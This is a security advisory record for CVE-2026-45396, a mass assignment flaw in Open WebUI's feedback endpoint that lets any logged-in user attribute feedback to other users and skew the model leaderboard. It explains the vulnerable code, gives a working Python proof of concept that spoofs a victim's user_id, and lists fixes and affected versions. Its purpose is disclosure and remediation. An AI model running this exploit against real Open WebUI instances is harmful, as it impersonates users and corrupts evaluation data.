id: PYSEC-2026-2756 published: "2026-07-13T15:19:07.378383Z" modified: "2026-07-13T16:05:14.732683Z" aliases: - CVE-2026-45396 - GHSA-rjmp-vjf2-qf4g summary: "Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation" details: "# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation\n\n## Summary\n\nThe `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.\n\n## Details\n\nThe vulnerability exists in two layers:\n\n### 1. Model Layer — Insecure Dict Merge Order\n\n**File:** `backend/open_webui/models/feedbacks.py`, lines 148–160\n\n```python\nasync def insert_new_feedback(\n self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None\n) -> Optional[FeedbackModel]:\n async with get_async_db_context(db) as db:\n id = str(uuid.uuid4())\n feedback = FeedbackModel(\n **{\n 'id': id,\n 'user_id': user_id, # ← Server-set from auth token\n 'version': 0,\n **form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version'\n 'created_at': int(time.time()),\n 'updated_at': int(time.time()),\n }\n )\n```\n\nIn Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID.\n\n### 2. Schema Layer — `extra='allow'` on Request Form\n\n**File:** `backend/open_webui/models/feedbacks.py`, line 106\n\n```python\nclass FeedbackForm(BaseModel):\n type: str\n data: Optional[RatingData] = None\n meta: Optional[dict] = None\n snapshot: Optional[SnapshotData] = None\n model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields\n```\n\nThe `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.\n\n### Contrast with Secure Pattern\n\nOther models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:\n\n```python\nfunction = FunctionModel(**{\n **form_data.model_dump(), # ← Spread FIRST\n 'user_id': user_id, # ← Server value AFTER → always wins\n})\n```\n\nAnd `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach.\n\n## Impact\n\n### 1. User Identity Spoofing\nAn attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.\n\n### 2. Model Evaluation Leaderboard Manipulation\nThe Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:\n- Artificially inflate ratings for a specific model\n- Deflate ratings for competitor models\n- Make organizational model evaluation decisions unreliable\n\n### 3. Record ID Control\nBy injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.\n\n## PoC\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:8080\"\n\n# 1. Login as attacker\nsession = requests.Session()\nlogin_resp = session.post(f\"{BASE_URL}/api/v1/auths/signin\", json={\n \"email\": \"attacker@example.com\",\n \"password\": \"attackerpass\"\n})\ntoken = login_resp.json()[\"token\"]\nheaders = {\"Authorization\": f\"Bearer {token}\"}\n\n# 2. Create feedback attributed to a different user (victim)\nVICTIM_USER_ID = \"12345678-aaaa-bbbb-cccc-000000000000\"\n\nresp = session.post(\n f\"{BASE_URL}/api/v1/evaluations/feedback\",\n headers=headers,\n json={\n \"type\": \"rating\",\n \"data\": {\n \"model_id\": \"gpt-4o\",\n \"rating\": 1,\n \"sibling_model_ids\": [\"claude-3-opus\"],\n },\n # Mass assignment: these extra fields are accepted due to extra='allow'\n # and overwrite server-set values due to dict merge order\n \"user_id\": VICTIM_USER_ID, # Overwrites authenticated user ID\n \"version\": 999, # Overwrites default version\n }\n)\n\nfeedback = resp.json()\nprint(f\"Feedback created with user_id: {feedback['user_id']}\")\n# Expected: attacker's own user_id\n# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)\nassert feedback[\"user_id\"] == VICTIM_USER_ID, \"Mass assignment successful!\"\n```\n\n## Severity\n\n**CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network\n- **Attack Complexity:** Low\n- **Privileges Required:** Low (any authenticated user)\n- **User Interaction:** None\n- **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)\n\n## Suggested Remediation\n\n### Option 1: Fix dict merge order (minimal fix)\n```python\nfeedback = FeedbackModel(\n **{\n **form_data.model_dump(), # Spread FIRST\n 'id': id, # Server values AFTER (always win)\n 'user_id': user_id,\n 'version': 0,\n 'created_at': int(time.time()),\n 'updated_at': int(time.time()),\n }\n)\n```\n\n### Option 2: Remove `extra='allow'` from FeedbackForm (recommended)\n```python\nclass FeedbackForm(BaseModel):\n type: str\n data: Optional[RatingData] = None\n meta: Optional[dict] = None\n snapshot: Optional[SnapshotData] = None\n model_config = ConfigDict(extra='ignore') # Reject unexpected fields\n```\n\n### Option 3: Explicit field assignment (most secure)\n```python\nfeedback = FeedbackModel(\n id=str(uuid.uuid4()),\n user_id=user_id,\n version=0,\n type=form_data.type,\n data=form_data.data.model_dump() if form_data.data else {},\n meta=form_data.meta or {},\n snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},\n created_at=int(time.time()),\n updated_at=int(time.time()),\n)\n```\n\n## Affected Versions\n\n- v0.9.2 (current latest, confirmed vulnerable)\n- Likely all versions since feedback/evaluation feature was introduced\n\n## References\n\n- Prior advisory: \"Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts\" (patched in v0.9.0) — same root cause class, different endpoint" affected: - package: name: open-webui ecosystem: PyPI purl: pkg:pypi/open-webui ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.9.5 versions: - 0.1.124 - 0.1.125 - 0.2.0 - 0.2.1 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.3.0 - 0.3.1 - 0.3.10 - 0.3.12 - 0.3.13 - 0.3.14 - 0.3.15 - 0.3.16 - 0.3.17 - 0.3.17.dev2 - 0.3.17.dev3 - 0.3.17.dev4 - 0.3.17.dev5 - 0.3.18 - 0.3.19 - 0.3.2 - 0.3.20 - 0.3.21 - 0.3.22 - 0.3.23 - 0.3.24 - 0.3.25 - 0.3.26 - 0.3.27 - 0.3.27.dev1 - 0.3.27.dev2 - 0.3.27.dev3 - 0.3.28 - 0.3.29 - 0.3.3 - 0.3.30 - 0.3.30.dev1 - 0.3.30.dev2 - 0.3.31 - 0.3.31.dev1 - 0.3.32 - 0.3.33 - 0.3.33.dev1 - 0.3.34 - 0.3.35 - 0.3.4 - 0.3.5 - 0.3.6 - 0.3.7 - 0.3.8 - 0.3.9 - 0.4.0 - 0.4.0.dev1 - 0.4.0.dev2 - 0.4.1 - 0.4.2 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.6.dev1 - 0.4.7 - 0.4.8 - 0.5.0 - 0.5.0.dev1 - 0.5.0.dev2 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.13 - 0.5.14 - 0.5.15 - 0.5.16 - 0.5.17 - 0.5.18 - 0.5.19 - 0.5.2 - 0.5.20 - 0.5.3 - 0.5.3.dev1 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.13 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.20 - 0.6.21 - 0.6.22 - 0.6.23 - 0.6.24 - 0.6.25 - 0.6.26 - 0.6.26.dev1 - 0.6.27 - 0.6.28 - 0.6.29 - 0.6.3 - 0.6.30 - 0.6.31 - 0.6.32 - 0.6.33 - 0.6.34 - 0.6.35 - 0.6.36 - 0.6.37 - 0.6.38 - 0.6.39 - 0.6.4 - 0.6.40 - 0.6.41 - 0.6.42 - 0.6.43 - 0.6.5 - 0.6.6 - 0.6.6.dev1 - 0.6.7 - 0.6.8 - 0.6.9 - 0.7.0 - 0.7.1 - 0.7.2 - 0.8.0 - 0.8.1 - 0.8.10 - 0.8.11 - 0.8.12 - 0.8.2 - 0.8.3 - 0.8.4 - 0.8.5 - 0.8.6 - 0.8.7 - 0.8.8 - 0.8.9 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 0.9.4 references: - type: WEB url: https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-45396 - type: PACKAGE url: https://github.com/open-webui/open-webui - type: WEB url: https://github.com/open-webui/open-webui/releases/tag/v0.9.5 - type: PACKAGE url: https://pypi.org/project/open-webui - type: ADVISORY url: https://github.com/advisories/GHSA-rjmp-vjf2-qf4g severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L